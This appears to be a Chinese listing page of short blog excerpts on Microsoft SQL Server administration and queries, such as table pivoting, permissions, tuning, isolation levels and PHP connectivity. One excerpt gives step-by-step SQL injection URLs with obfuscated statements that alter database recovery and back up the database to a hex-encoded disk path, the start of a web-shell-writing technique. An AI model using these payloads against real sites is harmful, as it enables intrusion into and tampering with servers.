一、需求 由于表达能力不好,直接上图。在mssql环境中需要把图1的表转化成图2的表: 图1 图2二、分析 图32.1创建表复制代码 代码如下:create table #tb (ID int primary key, Class nvarchar(max), [Subject] nvarchar(max), Score int) insert into #tb values(1,‘一(1)班‘,‘语文‘,‘92‘) insert into #tb values(2,‘一(1)班‘,‘数学‘,‘91‘) insert into #tb values(3,‘一(1)班‘,‘...
一,修改数据库远程登录帐号(当然也可以手工在sql数据库内建设)use abcgoexec sp_change_users_login ‘update_one‘,‘abc_f‘,‘abc_f‘go数据库导入完成后,还有一个地方需要确认,就是一般客户的表格以及存储过程的属主都是默认的dbo,在这种权限下,用户abc_f对表格是具有读写权限的,可以添加删除表格,但是无法更改现有属主为dbo的表格的表结构,对于存储过程,abc_f没有任何读写执行权限,这就可能造成用户程序出现问题。...
1.尽量不要在where中进行计算,尤其是需要遍历的情况原来代码,执行大约40秒INSERTINTO@TransferCode ( PROXY_NO, TING_NO, WTotal, BTotal )SELECT H.PROXY_NO, H.TING_NO, SUM(CASEWHEN H.CARDTYPE=‘W‘THENCASEWHEN (B.DDATE=‘‘AND B.DTIME=‘‘) THEN0WHEN B.BCHIPEX=‘10‘THEN-B.BCHIP ELSE B.BCHIP ENDELSE0END),SUM(CASEWHEN H.CARDTYPE=‘B‘THENCASEWHEN (B.DDATE=‘‘AND B.DTIME=‘‘) THEN0WHEN B.BCHIPEX=‘10...
--查询所有数据库USE mastergoselect [name] from [sysdatabases] order by [name]--查询其中一个数据库test,就可以得到这个数据库中的所有的表名了,语句如下:USE testgoselect [id], [name] from [sysobjects] where [type] = ‘u‘ order by [name]--查出v_lyb这个表中所有的字段select [name] from [syscolumns] where [id] = 21575115 order by [colid]--得到该表中的记录条数前提这个表中要建立索引select [o].[id], [o].[...
看到网上好多人问为什么我的SQL 2008只能用服务器计算器名登录,而不能用IP登录呢?我也遇到过这个问题,看到网上的回答各有千秋,但没有一个写得比较便于操作的。经过一番网络关键字(SQL 2008 local 登录)查找文章,整理,尝试,终于我的SQL 2008能用IP地址或LOCAL登录了,在此感谢那些无名英雄。 最后,我的成功过程我不敢一个人私藏,特意整理了下解决过程与大家一共分享。 解决MSSQL 2008不能用IP登录的问题 前提准备:mssql...
注:转载就注入出自‘孤孤浪子博客‘原创 http://itpro.blog.163.com 第一步http://itpro.blog.163.com/test.asp‘;alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]-- 第二步:http://itpro.blog.163.com/test.asp‘;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init-- 第三步http://itpro.blog.163...
简述步骤1.在mssql上新增一个数据库,设定如下,编码要选择“chinese_PRC_CI_AL_KS_WS”2.用sql命令。在report中新增一个View3.BDE设定。leadertemp50 和 leader一样的设定,但DATABASENAME = report4.condctors.ini改成报表数据库DBE相信操作步骤见文档:主站下载: http://www.qywalk.com/ 博客:http://blog.sina.com.cn/qianyumanbu网盘下载:http://www.400gb.com/file/64954032原文:http://qianyumanbu.blog.51cto.com/505...
之前因为MySQL没有with(nolock)这种写法,于是想设置隔离级别,结果被坑。 直觉以为和MSSQL一样只要打set transaction isolation level xxx 就能搞定 ,然后弄了老半天才发现中间需要价格session ,结果今天写SQL的时候感觉每个表都打with(nolock)太吃力,干脆直接设置READ UNCOMMITTED多美。。。--设置当前查询隔离级别
SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED--查询当前隔离级别
SELECT CASE transaction_isolat...
一、判断表是否存在IF objectproperty(object_id(@tableName),‘IsUserTable‘) IS NOT NULLPRINT ‘存在‘
ELSE PRINT ‘不存在‘
原文:http://www.cnblogs.com/kongxp/p/4120281.html
MSSQL 常见故障处理以及维护办法1.数据库文件收缩1.1 释放未使用的空间1.2 在释放未使用的空间前重新组织页1.3 将指定文件中的所有数据迁移到同一文件组中的其他文件2.日志文件收缩2.1 设置简单模式直接收缩3.Sql Agent作业代理3.1 错误日志相关3.1.1 循环生成错误日志4.AlwaysOn问题相关4.1 备份以及日志收缩问题4.2 Error: 35285, Severity: 16, State: 15.数据库登录/启动问题5.1 数据库处于可疑状态5.2 客户端登录加密失败 – ...
PHP及网页使用UTF-8编码,数据库是sql server2008,使用默认编码(936,即GBK编码)当读取数据库数据时,使用php自带的json_encode()返回到前端,结果中文不显示。解决办法:<?php header("Content-Type: text/html;charset=utf-8");//告诉浏览器不要缓存数据header("Cache-Control: no-cache"); require "../conn.php";require "../share/json_gbk2utf8.php";$query = ‘SELECT seq,employeeID,employeeName,department,posi...
原文:走向DBA[MSSQL篇] 积跬步行千里不知道大家对SQL系列的感不感兴趣 先在这里探个路 本文针对的读者为SQL菜鸟 欢迎大牛驳论或者补充既然是探路篇 就先说下数据过滤中的偏门匹配 希望能给大家带来收获create table 虫子的临时表
(编号 varchar(30),名称 varchar(30),备注 varchar(100)
)
insert into 虫子的临时表 values(‘编号01‘,‘name01‘,‘这是一个奇迹‘)
insert into 虫子的临时表 values(‘编号02‘,‘name02‘,‘这是...
php5.3的情况下,用pdo的dblib驱动无法连接mssql的,根据官方的描述,5.2已经修改这个bug,5.3没有。用php自带的mssql函数可以的。编译freetds,php_mssql,pdo_dblib参数如下: ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib./configure --with-php-config=/usr/local/php/bin/php-config --with-mssql=/usr/local/freetds/./configure--with-php-config=/usr/local/php/bin/php-config
--with-mss...
对长期开发.net的Programmer来说,MSSQLServer是再熟悉不过的,对于大访问量来说,Microsoft本身一直没有提出很好的解决办法,我们通常都依赖于第三方的解决方案(该方案是付费的):Moebius( For SQL),这个东西做的还是比较专业的,可以实现数据库的负载均衡,读写分离,双机备用,灾备,集群的同步也可以有实时同步和准实时同步等。 Moebius概念数据库集群技术可以有效地整合和利用现有 IT 资源,提供高效、可靠的数据服务。M...
从MSSQL2008开始,全文索引推荐的创建方式已经与2005不同了。对于字符类型的数据库,可以直接创建。
CREATE UNIQUE INDEX hr_job_idx ON hr_job_database(id);CREATE FULLTEXT CATALOG ft AS DEFAULT;CREATE FULLTEXT INDEX ON hr_job_database(contents ) KEY INDEX hr_job_idx WITH STOPLIST = SYSTEM;
但是对于二进制创建的,必须指定扩展名列。例如docs列以imgage或者binary二进制存放word,excel,pdf等类型那么可以按照如...